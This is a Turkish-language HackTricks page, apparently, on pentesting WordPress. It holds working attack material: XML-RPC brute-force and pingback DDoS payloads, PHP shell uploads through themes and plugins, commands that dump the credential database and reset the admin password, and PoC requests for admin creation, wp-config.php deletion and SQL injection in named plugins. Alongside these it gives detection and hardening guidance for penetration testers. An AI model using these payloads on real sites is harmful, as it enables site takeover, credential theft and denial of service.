Wordpress
Reading time: 24 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
-
Uploaded dosyaları şurada bulunur:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Themes files can be found in /wp-content/themes/, bu yüzden tema php'sini değiştirerek RCE elde etmeyi planlıyorsanız muhtemelen bu yolu kullanırsınız. Örneğin: theme twentytwelve kullanarak 404.php dosyasına şu konumdan access edebilirsiniz: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
wp-config.php içinde veritabanının root parolasını bulabilirsiniz.
-
Kontrol edilecek varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Ana WordPress Dosyaları
index.php
license.txt
WordPress'in yüklü sürümü gibi faydalı bilgiler içerir.wp-activate.php
yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır.- Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
WordPress'in HTTP'yi taşıma mekanizması, XML'i ise kodlama mekanizması olarak kullanarak veri iletimine izin veren bir özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress REST API ile değiştirilmiştir.wp-content
klasörü eklentilerin ve temaların saklandığı ana dizindir.wp-content/uploads/
platforma yüklenen herhangi bir dosyanın saklandığı dizindir.wp-includes/
sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.wp-sitemap.xml
WordPress 5.5 ve sonraki sürümlerde, tüm public gönderiler ve public olarak sorgulanabilir gönderi tipleri ve taksonomilerle birlikte bir sitemap XML dosyası oluşturur.
Post exploitation
wp-config.php
dosyası WordPress'in veritabanına bağlanmak için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys and salts ve veritabanı tablo öneki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu aktifleştirmek için de kullanılabilir; bu, sorun gidermede faydalı olabilir.
Kullanıcı İzinleri
- Administrator
- Editor: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
- Author: Kendi gönderilerini yayınlar ve yönetir
- Contributor: Gönderilerini yazar ve yönetir ama yayınlayamaz
- Subscriber: Gönderilere göz atar ve profilini düzenleyebilir
Pasif Enumerasyon
Get WordPress version
/license.txt
veya /readme.html
dosyalarını bulup bulamayacağınızı kontrol edin
Sayfanın kaynak kodu içinde (örnek from https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS link dosyaları
- JavaScript dosyaları
Eklentileri Al
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Temaları Al
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Genel olarak sürümleri çıkar
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktif keşif
Plugins and Themes
Muhtemelen tüm Plugins and Themes'leri bulamayacaksınız. Bunların tamamını keşfetmek için aktif olarak Plugins and Themes listesine Brute Force uygulamanız gerekecek (umarız ki bu listeleri içeren otomatik araçlar vardır).
Kullanıcılar
- ID Brute: Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz:
curl -s -I -X GET http://blog.example.com/?author=1
Eğer yanıtlar 200 veya 30X ise, bu id'nin geçerli olduğu anlamına gelir. Eğer yanıt 400 ise, id geçersizdir.
- wp-json: Kullanıcılar hakkında bilgi edinmek için şu sorgulamayı da deneyebilirsiniz:
curl http://blog.example.com/wp-json/wp/v2/users
Kullanıcılar hakkında bazı bilgiler açığa çıkarabilecek başka bir /wp-json/
endpoint'i şudur:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. Only information about the users that has this feature enable will be provided.
Ayrıca /wp-json/wp/v2/pages IP adreslerini leak edebilir.
- Login username enumeration:
/wp-login.php
'e giriş yaparken mesaj farklıdır, bu kullanıcı adı var mı yok mu gösterir.
XML-RPC
Eğer xml-rpc.php
aktifse kimlik bilgilerine yönelik brute-force yapabilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (You can automate this process using this for example).
Aktif olup olmadığını görmek için /xmlrpc.php adresine erişmeyi deneyin ve bu isteği gönderin:
Kontrol
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
veya metaWeblog.getUsersBlogs
credentials üzerinde brute-force yapmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız şu şekilde bir istek gönderebilirsiniz:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Kimlik bilgileri geçerli değilse, 200 kodlu yanıt içinde "Incorrect username or password" mesajı görünmelidir.
Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Ayrıca aynı istekte birden fazla kimlik bilgisi deneyebildiğiniz için kimlik bilgilerini brute-force etmek için daha hızlı bir yol olan system.multicall
'ı kullanabilirsiniz:
.png)
Bypass 2FA
Bu yöntem programlar için tasarlanmıştır, insanlar için değil; ayrıca eski olduğu için 2FA'yı desteklemez. Bu yüzden geçerli creds'iniz varsa ancak ana giriş 2FA ile korunuyorsa, xmlrpc.php'yi kötüye kullanarak bu creds'lerle 2FA'yı atlayarak giriş yapmayı deneyebilirsiniz. Konsol üzerinden yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, ancak Ippsec'in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s videosunda açıkladığı gibi yine de RCE'ye ulaşabilirsiniz.
DDoS or port scanning
Eğer listede pingback.ping yöntemini bulabilirseniz Wordpress'in herhangi bir host/port'a keyfi bir istek göndermesini sağlayabilirsiniz.
Bu, binlerce Wordpress sitesini bir konuma erişmeye (dolayısıyla o konumda bir DDoS oluşmasına) zorlamak için kullanılabilir veya Wordpress'i bazı dahili bir ağ'ı taraması için kullanabilirsiniz (herhangi bir port belirtebilirsiniz).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Eğer faultCode değeri 0'dan (17) büyük ise, bu portun açık olduğu anlamına gelir.
Önceki bölümdeki system.multicall
kullanımına bakın; bu yöntemi DDoS için nasıl kötüye kullanabileceğinizi öğrenin.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
This file usually exists under the root of the Wordpress site: /wp-cron.php
When this file is accessed a "heavy" MySQL query is performed, so I could be used by attackers to cause a DoS.
Also, by default, the wp-cron.php
is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).
It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Bu araç, methodName: pingback.ping ve /wp-json/oembed/1.0/proxy yolunun olup olmadığını kontrol eder ve mevcutlarsa bunları exploit etmeye çalışır.
Otomatik Araçlar
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Bir biti değiştirerek erişim elde etme
Gerçek bir saldırıdan çok bu bir merak örneğidir. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasından 1 biti çevirebiliyordunuz. Böylece /var/www/html/wp-includes/user.php
dosyasındaki 5389
pozisyonundaki biti NOT (!
) işlemini NOPlamak için çevirebilirdiniz.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Kullanılan temadan bir php dosyasını değiştirme (admin kimlik bilgileri gerekli)
Appearance → Theme Editor → 404 Template (sağda)
İçeriği php shell içerecek şekilde değiştirin:
Güncellenen sayfaya nasıl erişileceğini internette araştırın. Bu durumda şu adrese erişmeniz gerekiyor: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Kullanabilirsiniz:
use exploit/unix/webapp/wp_admin_shell_upload
bir oturum elde etmek için.
Plugin RCE
PHP plugin
.php dosyalarını bir plugin olarak yüklemek mümkün olabilir.
Örneğin php backdoor'unuzu şu şekilde oluşturun:
Sonra yeni bir eklenti ekleyin:
Eklentiyi yükleyin ve "Install Now" butonuna basın:
"Procced"e tıklayın:
Büyük olasılıkla görünürde hiçbir şey olmayacaktır, ancak Media'ya giderseniz yüklenen shell'i göreceksiniz:
Erişin ve reverse shell'i çalıştırmak için URL'yi göreceksiniz:
Uploading and activating malicious plugin
Bu yöntem, bilinen zafiyetli ve web shell elde etmek için sömürülebilecek kötü amaçlı bir eklentinin kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir:
- Plugin Acquisition: Eklenti, Exploit DB gibi bir kaynaktan edinilir, örneğin here.
- Plugin Installation:
- WordPress dashboard'a gidin, sonra
Dashboard > Plugins > Upload Plugin
yolunu izleyin. - İndirilen eklentinin zip dosyasını yükleyin.
- Plugin Activation: Eklenti başarıyla yüklendikten sonra dashboard üzerinden aktifleştirilmelidir.
- Exploitation:
- "reflex-gallery" eklentisi yüklü ve aktif olduğunda, bilindiği üzere zafiyetli olduğu için sömürülebilir.
- Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak siteye yetkisiz erişim sağlayan bir meterpreter oturumu kurulabilir.
- Bu, bir WordPress sitesini sömürmek için kullanılan birçok yöntemden sadece biridir.
İçerik, eklentiyi yükleme ve aktifleştirme adımlarını gösteren görsel açıklamalar içerir. Ancak, bu şekilde zafiyetleri sömürmenin yetki olmadan yasa dışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi sorumlu şekilde ve sadece yasal bir bağlamda, örneğin açık izinle yapılan penetration testing gibi durumlarda kullanılmalıdır.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike WordPress'te bir Cross-Site Scripting (XSS) zafiyetini Remote Code Execution (RCE) veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir script'tir. Daha fazla bilgi için this post'a bakın. WordPress Versions 6.X.X, 5.X.X and 4.X.X için destek sağlar ve şunlara izin verir:
- Privilege Escalation: WordPress'te bir kullanıcı oluşturur.
- (RCE) Custom Plugin (backdoor) Upload: Özel plugin (backdoor) yükleyerek WordPress'e ekleme yapar.
- (RCE) Built-In Plugin Edit: WordPress'teki Built-In Plugins'i düzenler.
- (RCE) Built-In Theme Edit: WordPress'teki Built-In Themes'i düzenler.
- (Custom) Custom Exploits: Üçüncü taraf WordPress Plugins/Themes için Custom Exploits sağlar.
Post Exploitation
Kullanıcı adları ve parolaları çıkar:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Admin parolasını değiştir:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Eklentileri Pentest
Saldırı Yüzeyi
Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bilmek, o işlevsellikteki zafiyetleri bulmak için kilit önemdedir. Aşağıdaki madde işaretlerinde bir eklentinin işlevselliği nasıl açığa çıkarabileceğini ve zafiyetli eklenti örneklerini this blog post adresinde bulabilirsiniz.
wp_ajax
Bir eklentinin fonksiyonları kullanıcılara açığa çıkarma yollarından biri AJAX handler'ları aracılığıyladır. Bunlar logic, authorization veya authentication ile ilgili hatalar içerebilir. Dahası, bu fonksiyonların hem authentication hem de authorization'ı wordpress nonce'un varlığına dayandırması oldukça sık görülür; bu nonce'a Wordpress instance'ında kimliği doğrulanmış herhangi bir kullanıcı sahip olabilir (role bağlı olmaksızın).
Bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlar şunlardır:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
nopriv
kullanımı endpoint'in herhangi bir kullanıcı tarafından (oturum açmamış olanlar dahil) erişilebilir olmasını sağlar.
caution
Ayrıca, eğer fonksiyon sadece kullanıcı yetkilendirmesini wp_verify_nonce
fonksiyonu ile kontrol ediyorsa, bu fonksiyon yalnızca kullanıcının oturum açmış olduğunu doğrular; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı işlemlere erişim sağlayabilir.
- REST API
wordpress'te register_rest_route
fonksiyonunu kullanarak fonksiyonları REST API üzerinden açığa çıkarmak da mümkündür:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
permission_callback
, belirli bir kullanıcının API metodunu çağırmaya yetkili olup olmadığını kontrol eden bir callback fonksiyonudur.
Eğer dahili __return_true
fonksiyonu kullanılırsa, bu kullanıcı izinleri kontrolünü basitçe atlar.
- PHP dosyasına doğrudan erişim
Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web'den doğrudan erişilebilir. Bu nedenle, bir eklenti yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir savunmasız işlevsellik açığa çıkarıyorsa, bu herhangi bir kullanıcı tarafından sömürülebilir.
Trusted-header REST taklit (WooCommerce Payments ≤ 5.6.1)
Bazı eklentiler dahili entegrasyonlar veya reverse proxy'ler için “trusted header” kısayolları uygular ve REST istekleri için mevcut kullanıcı bağlamını ayarlamak üzere bu header'ı kullanır. Eğer header yukarı akıştaki bir bileşen tarafından istekle kriptografik olarak bağlanmamışsa, bir saldırgan onu sahteleyebilir ve ayrıcalıklı REST yollarına administrator olarak erişebilir.
- Impact: kimlik doğrulanmamış (unauthenticated) privilege escalation ile admin'e yükselme; core users REST route aracılığıyla yeni bir administrator oluşturarak.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(kullanıcı ID'sini 1 olarak zorlar; tipik olarak ilk administrator hesabı). - Exploited route:
POST /wp-json/wp/v2/users
with an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Neden işe yarıyor
- Eklenti, istemci tarafından kontrol edilen bir header'ı kimlik doğrulama durumuna eşliyor ve yetki kontrollerini atlıyor.
- WordPress core bu route için
create_users
yetkisini bekler; eklenti hilesi bunu atlayarak başlıktan doğrudan geçerli kullanıcı bağlamını ayarlar.
Beklenen başarı göstergeleri
- Oluşturulan kullanıcıyı tanımlayan JSON gövdesi ile HTTP 201.
wp-admin/users.php
içinde görünen yeni bir admin kullanıcı.
Tespit kontrol listesi
getallheaders()
,$_SERVER['HTTP_...']
veya kullanıcı bağlamını ayarlamak için özel header'ları okuyan vendor SDK'ları (ör.wp_set_current_user()
,wp_set_auth_cookie()
) için grep yapın.- İstek header'larına dayanan ve sağlam
permission_callback
kontrollerinden yoksun ayrıcalıklı callback'ler içeren REST kayıtlarını inceleyin. - Yalnızca header değerleri ile korunan REST handler'ları içinde çekirdek kullanıcı yönetimi fonksiyonları (
wp_insert_user
,wp_create_user
) kullanımına bakın.
Sertleştirme
- Kimlik doğrulamayı veya yetkilendirmeyi asla istemci kontrollü header'lardan türetmeyin.
- Eğer bir reverse proxy kimlik enjekte etmek zorundaysa, güveni proxy'de sonlandırın ve gelen kopyaları kenarda temizleyin (ör. edge'de
unset X-Wcpay-Platform-Checkout-User
), ardından imzalı bir token iletin ve sunucu tarafında doğrulayın. - Yetkili işlemler yapan REST route'ları için
current_user_can()
kontrolleri ve katı birpermission_callback
gerektirin (asla__return_true
kullanmayın). - Header “impersonation” yerine birinci taraf auth (cookies, application passwords, OAuth) tercih edin.
Referanslar: genel vaka ve daha geniş analiz için bu sayfanın sonundaki linklere bakın.
wp_ajax_nopriv üzerinden Yetkilendirilmemiş Keyfi Dosya Silme (Litho Theme <= 3.0)
WordPress tema ve eklentileri genellikle wp_ajax_
ve wp_ajax_nopriv_
hook'ları üzerinden AJAX işleyicileri açığa çıkarır. nopriv varyantı kullanıldığında callback yetkilendirilmemiş ziyaretçiler tarafından erişilebilir hale gelir, bu yüzden herhangi bir hassas işlem ayrıca şunları uygulamalıdır:
- Bir yetki kontrolü (ör.
current_user_can()
veya en azındanis_user_logged_in()
), ve check_ajax_referer()
/wp_verify_nonce()
ile doğrulanan bir CSRF nonce'u, ve- Sıkı giriş sanitizasyonu/doğrulaması.
Litho çok amaçlı tema (< 3.1) Remove Font Family özelliğinde bu 3 kontrolü unutmuş ve aşağıdaki kodu (basitleştirilmiş) göndermiştir:
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Issues introduced by this snippet:
- Kimlik doğrulaması olmadan erişim – the
wp_ajax_nopriv_
hook is registered. - No nonce / capability check – herhangi bir ziyaretçi endpoint'e erişebilir.
- Yol temizleme yok – kullanıcı tarafından kontrol edilen
fontfamily
stringi filtrelenmeden bir dosya sistemi yoluna ekleniyor, bu da klasik../../
traversal'a izin veriyor.
Exploitation
Bir saldırgan tek bir HTTP POST isteği göndererek uploads temel dizini altındaki (genellikle <wp-root>/wp-content/uploads/
) herhangi bir dosya veya dizini silebilir:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php
lives outside uploads, four ../
sequences are enough on a default installation. Deleting wp-config.php
forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php
files (to break security plugins) or .htaccess
rules.
Tespit kontrol listesi
add_action( 'wp_ajax_nopriv_...')
içinde filesystem helper'larını (copy()
,unlink()
,$wp_filesystem->delete()
, vb.) çağıran herhangi bir callback.- Temizlenmemiş kullanıcı girdilerinin path'lere birleştirilmesi (
$_POST
,$_GET
,$_REQUEST
öğelerine bakın). check_ajax_referer()
vecurrent_user_can()
/is_user_logged_in()
çağrılarının eksik olması.
Sertleştirme
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
tip
Her zaman diske yapılan herhangi bir write/delete işlemini yetkili kabul edin ve çift kontrol edin:
• Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath()
plus str_starts_with()
).
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Birçok eklenti, orijinal rol(leri) user meta içinde kaydederek daha sonra geri yüklenebilmeleri için "view as role" veya geçici rol-değiştirme özelliği uygular. Eğer restorasyon yolu yalnızca request parametrelerine (ör. $_REQUEST['reset-for']
) ve eklenti tarafından tutulan bir listeye dayanıyor ve capabilities kontrolü ile geçerli bir nonce doğrulaması yapılmıyorsa, bu bir vertical privilege escalation'a dönüşür.
Gerçek bir örnek Admin and Site Enhancements (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Reset dalı, kullanıcı adı dahili bir dizi $options['viewing_admin_as_role_are']
içinde görünüyorsa reset-for=<username>
bazında rolleri geri yükledi, fakat mevcut rolleri kaldırmadan ve user meta _asenha_view_admin_as_original_roles
içindeki kaydedilmiş rolleri yeniden eklemeden önce ne current_user_can()
kontrolü ne de nonce doğrulaması yaptı:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Neden istismar edilebilir
- Sunucu tarafı yetkilendirmesi olmadan
$_REQUEST['reset-for']
ve bir plugin seçeneğine güvenir. - Bir kullanıcı daha önce
_asenha_view_admin_as_original_roles
içinde daha yüksek ayrıcalıklara sahipse ve yetkisi düşürüldüyse, sıfırlama yoluna erişerek bunları geri yükleyebilir. - Bazı dağıtımlarda, kimliği doğrulanmış herhangi bir kullanıcı
viewing_admin_as_role_are
içinde hâlâ bulunan başka bir kullanıcı adı için bir reset tetikleyebilir (bozuk yetkilendirme).
Saldırı önkoşulları
- Özelliğin etkin olduğu savunmasız plugin sürümü.
- Hedef hesapta, önceki kullanımdan user meta'da saklanan eski yüksek ayrıcalıklı bir rol bulunması.
- Herhangi bir kimliği doğrulanmış oturum; reset akışında nonce/capability kontrolünün eksik olması.
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Zafiyetli sürümlerde bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör., administrator
) yeniden ekler; bu da yetkilerin etkin bir biçimde yükseltilmesine yol açar.
Detection checklist
- Kullanıcı meta verilerinde "orijinal roller"i (ör.,
_asenha_view_admin_as_original_roles
) saklayan rol-değiştirme özelliklerini arayın. - Aşağıdaki özelliklere sahip sıfırlama/geri yükleme yollarını tespit edin:
- Kullanıcı adlarını
$_REQUEST
/$_GET
/$_POST
'ten okuyan. current_user_can()
vewp_verify_nonce()
/check_admin_referer()
olmadanadd_role()
/remove_role()
ile rolleri değiştiren.- Yetkilendirmeyi aktörün yetenekleri yerine bir plugin option dizisine (ör.,
viewing_admin_as_role_are
) dayandıran.
- Kullanıcı adlarını
Hardening
- Her durum-değiştiren dalda yetenek kontrollerini zorunlu kılın (ör.,
current_user_can('manage_options')
veya daha sıkı). - Tüm rol/izin değişiklikleri için nonces gerektirip bunları doğrulayın:
check_admin_referer()
/wp_verify_nonce()
. - İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında kimliği doğrulanmış aktöre ve açık politikaya göre belirleyin.
- Profil/rol güncellemelerinde "orijinal roller" durumunu geçersiz kılın; böylece eski yüksek yetkili geri yüklemelerin önüne geçin:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Geçici rol değişimleri için minimal durum saklamayı ve zaman sınırlı, capability-guarded tokenlar kullanmayı düşünün.
WordPress/plugin CVE'leri için WAF değerlendirmeleri
Genel edge/server WAF'lar geniş desenlere (SQLi, XSS, LFI) göre ayarlanmıştır. Birçok yüksek etkili WordPress/plugin hatası uygulamaya özgü mantık/auth hatalarıdır ve motor WordPress rotalarını ve eklenti semantiğini anlamıyorsa zararsız trafik gibi görünür.
Saldırı notları
- Temiz payloadlarla eklenti-özgü endpointleri hedefleyin:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Önce unauth yollarını deneyin (AJAX
nopriv
, REST with permissivepermission_callback
, public shortcodes). Varsayılan payloads genellikle obfuscation yapmadan başarılı olur. - Tipik yüksek etkili vakalar: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Savunma notları
- Eklenti CVE'lerini korumak için genel WAF imzalarına güvenmeyin. Uygulama-katmanı, zafiyete-özel virtual patches uygulayın veya hızlıca güncelleyin.
- Kodda negatif regex filtreleri yerine positive-security kontrollerini tercih edin (capabilities, nonces, strict input validation).
WordPress Koruması
Düzenli Güncellemeler
WordPress, plugins ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php'de etkinleştirildiğini doğrulayın:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ayrıca, yalnızca güvenilir WordPress eklentilerini ve temalarını yükleyin.
Güvenlik Eklentileri
Diğer Öneriler
- Varsayılan admin kullanıcısını kaldırın
- Güçlü parolalar ve 2FA kullanın
- Kullanıcıların izinlerini periyodik olarak gözden geçirin
- Brute Force saldırılarını önlemek için giriş denemelerini sınırlandırın
wp-admin.php
dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin.
Kimlik doğrulaması gerektirmeyen SQL Injection (yetersiz doğrulama) (WP Job Portal <= 2.3.2)
WP Job Portal işe alım eklentisi, en nihayetinde modules/category/model.php::validateFormData()
içinde aşağıdaki güvenlik açığı içeren kodu çalıştıran savecategory görevini açığa çıkardı:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Bu parçacığın neden olduğu sorunlar:
- Unsanitised user input –
parentid
HTTP isteğinden doğrudan geliyor. - String concatenation inside the WHERE clause –
is_numeric()
/esc_sql()
/ prepared statement yok. - Unauthenticated reachability – işlem
admin-post.php
üzerinden yürütülse de, mevcut tek kontrol bir CSRF nonce (wp_verify_nonce()
)'dir; bu nonce, shortcode'u içeren herkese açık bir sayfadan herhangi bir ziyaretçi tarafından alınabilir.
Exploitation
- Yeni bir nonce alın:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
parentid
'i suistimal ederek rastgele SQL enjeksiyonu yapın:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir; bu da SQLi'yi kanıtlar.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
